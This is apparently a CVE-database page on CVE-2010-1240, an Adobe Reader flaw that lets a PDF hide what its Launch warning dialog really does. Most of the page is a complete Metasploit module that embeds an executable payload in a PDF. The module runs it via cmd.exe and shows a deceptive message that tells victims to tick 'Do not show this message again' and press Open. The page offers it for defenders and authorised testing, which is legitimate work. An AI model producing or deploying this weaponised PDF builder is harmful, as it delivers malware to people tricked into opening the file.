CVE-2010-1240
Description
Adobe Reader and Acrobat 9.x before 9.3.3, and 8.x before 8.2.3 on Windows and Mac OS X, do not restrict the contents of one text field in the Launch File warning dialog, which makes it easier for remote attackers to trick users into executing an arbitrary local program that was specified in a PDF document, as demonstrated by a text field that claims that the Open button will enable the user to read an encrypted message.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Adobe PDF - Embedded EXE Social Engineering (Metasploit)
##
# $Id: adobe_pdf_embedded_exe.rb 11353 2010-12-16 20:11:01Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::PDF_Parse
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe PDF Embedded EXE Social Engineering',
'Description' => %q{
This module embeds a Metasploit payload into an existing PDF file. The
resulting PDF can be sent to a target as part of a social engineering attack.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Colin Ames <amesc[at]attackresearch.com>', # initial module
'jduck' # add Documents for vista/win7
],
'Version' => '$Revision: 11353 $',
'References' =>
[
[ 'CVE', '2010-1240' ],
[ 'OSVDB', '63667' ],
[ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
[ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
[ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ]
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English)', { 'Ret' => '' } ]
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('INFILENAME', [ true, 'The Input PDF filename.']),
OptString.new('EXENAME', [ false, 'The Name of payload exe.']),
OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',
"To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),
], self.class)
end
def exploit
file_name = datastore['INFILENAME']
exe_name = datastore['EXENAME']
print_status("Reading in '#{file_name}'...")
stream = read_pdf()
print_status("Parsing '#{file_name}'...")
pdf_objects = parse_pdf(stream)
print_status("Parsing Successful.")
xref_trailers = pdf_objects[0]
trailers = pdf_objects[1]
startxrefs = pdf_objects[2]
root_obj = pdf_objects[3]
output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(output)
end
def ef_payload(pdf_name,payload_exe,obj_num)
if !(payload_exe and payload_exe.length > 0)
print_status("Using '#{datastore['PAYLOAD']}' as payload...")
payload_exe = generate_payload_exe
file_size = payload_exe.length
stream = Rex::Text.zlib_deflate(payload_exe)
md5 = Rex::Text.md5(stream)
else
print_status("Using '#{datastore['EXENAME']}' as payload...")
file_size = File.size(payload_exe)
stream = Rex::Text.zlib_deflate(IO.read(payload_exe))
md5 = Rex::Text.md5(File.read(payload_exe))
end
output = String.new()
output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>stream\r#{stream}\r\nendstream\rendobj\r"
return output
end
def js_payload(pdf_name,obj_num)
output = String.new()
output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "
# change to the home drive/path no matter what
output << "%HOMEDRIVE%&cd %HOMEPATH%"
# check for the pdf in these dirs, in this order..
dirs = [ "Desktop", "My Documents", "Documents" ]
dirs.each { |dir|
fmt = "&"+
"("+
"if exist \"%s\" "+
"(cd \"%s\")"+
")"
fname = "%s\\\\#{pdf_name}.pdf" % dir
output << fmt % [fname, dir]
}
launch_message = datastore['LAUNCH_MESSAGE']
lines = []
launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << $& }
if (lines.length > 2)
print_status("Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.")
end
output << "&"+
# note: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/
"(start #{pdf_name}.pdf)"+
# note: The below message modifies the text in the "File:" textfield of the "Launch File" dialog
("\n"*10) +
launch_message+
# note: this extra rparen is required.
")"+
">>>>\rendobj\r"
return output
end
def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)
file_name = file_name.split(/\//).pop.to_s
match = file_name.match(/(.+)\.pdf/)
if match
pdf_name = match[1]
end
catalog = parse_object(xref_trailers,root_obj,stream)
match = catalog.match(/Names (\d+ \d) R/m)
if match
names = parse_object(xref_trailers,match[1],stream)
match = names.match(/EmbeddedFiles (\d+ \d) R/m)
if match
embedded_files = parse_object(xref_trailers,match[1],stream)
new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')
else
new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')
end
else
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")
end
if catalog.match(/OpenAction/m)
match = catalog.match(/OpenAction (\d+ \d) R/m)
if match
open_action = "#{match[1]} R"
if new_catalog
if new_embedded_files
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
elsif new_names
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
else
new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
end
else
if new_embedded_files
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
elsif new_names
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
else
new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
end
end
else
if new_catalog
new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
else
new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
end
end
else
if new_catalog
if new_embedded_files
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
elsif new_names
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
else
new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
end
else
if new_embedded_files
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
elsif new_names
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
else
new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
end
end
end
pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
pages = parse_object(xref_trailers,pages_obj,stream)
page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
page = parse_object(xref_trailers,page_obj,stream)
match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
while match
page_obj = match[1]
page = parse_object(xref_trailers,page_obj,stream)
match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
end
match = page.match(/AA<<\/O (\d+ \d) R/m)
if match
aa = parse_object(xref_trailers,match[1],stream)
end
new_pdf = String.new()
xrefs = String.new()
if new_embedded_files
pdf_payload = String.new()
num = trailers[0].fetch("Size").to_i - 1
pdf_payload << ef_payload(pdf_name,exe_name,num)
pdf_payload << js_payload(pdf_name,num)
new_pdf << stream << pdf_payload
xrefs = xref_create(new_pdf,stream.length,"*")
new_size = trailers[0].fetch("Size").to_i + 4
if aa
new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')
else
new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')
end
new_pdf << new_catalog
xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
new_pdf << new_page
xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
new_pdf << new_embedded_files
xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")
if trailers[0].has_key?("ID")
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
else
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
end
new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
elsif new_names
pdf_payload = String.new()
num = trailers[0].fetch("Size").to_i
pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"
pdf_payload << ef_payload(pdf_name,exe_name,num)
pdf_payload << js_payload(pdf_name,num)
new_pdf << stream << pdf_payload
xrefs = xref_create(new_pdf,stream.length,"*")
new_size = trailers[0].fetch("Size").to_i + 5
if aa
new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')
else
new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')
end
new_pdf << new_catalog
xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
new_pdf << new_page
xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
new_pdf << new_names
xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")
if trailers[0].has_key?("ID")
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
else
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
end
new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
else
pdf_payload = String.new()
num = trailers[0].fetch("Size").to_i + 1
pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
pdf_payload << ef_payload(pdf_name,exe_name,num)
pdf_payload << js_payload(pdf_name,num)
new_pdf << stream << pdf_payload
xrefs = xref_create(new_pdf,stream.length,"*")
new_size = trailers[0].fetch("Size").to_i + 6
if aa
new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')
else
new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')
end
new_pdf << new_catalog
xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
new_pdf << new_page
xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
if trailers[0].has_key?("ID")
new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
else
new_pdf << "xref\r\n" << xrefs
new_pdf << "trailer\r\n"
new_pdf << "<</Size #{new_size}/Prev #{startxref}"
new_pdf << "/Root #{trailers[0].fetch("Root")} R"
new_pdf << "/Info #{trailers[0].fetch("Info")} R>>\r\n"
end
new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
end
return new_pdf
end
end
Adobe PDF - Escape EXE Social Engineering (No JavaScript) (Metasploit)
Adobe Reader - Escape From '.PDF' Execute Embedded Executable
Metasploit modules
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| adobe | acrobat_reader | 9.3.1 | |
References
- http://blog.didierstevens.com/2010/03/29/escape-from-pdf/
- http://blog.didierstevens.com/2010/06/29/quickpost-no-escape-from-pdf/
- http://lists.immunitysec.com/pipermail/dailydave/2010-April/006075.html
- http://www.adobe.com/support/security/bulletins/apsb10-15.html
- http://www.securitytracker.com/id?1024159
- http://www.us-cert.gov/cas/techalerts/TA10-231A.html
- http://www.vupen.com/english/advisories/2010/1636
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7466
- http://blog.didierstevens.com/2010/03/29/escape-from-pdf/
- http://blog.didierstevens.com/2010/06/29/quickpost-no-escape-from-pdf/
- http://lists.immunitysec.com/pipermail/dailydave/2010-April/006075.html
- http://www.adobe.com/support/security/bulletins/apsb10-15.html
- http://www.securitytracker.com/id?1024159
- http://www.us-cert.gov/cas/techalerts/TA10-231A.html
- http://www.vupen.com/english/advisories/2010/1636
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7466
CWEs
CWE-264
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.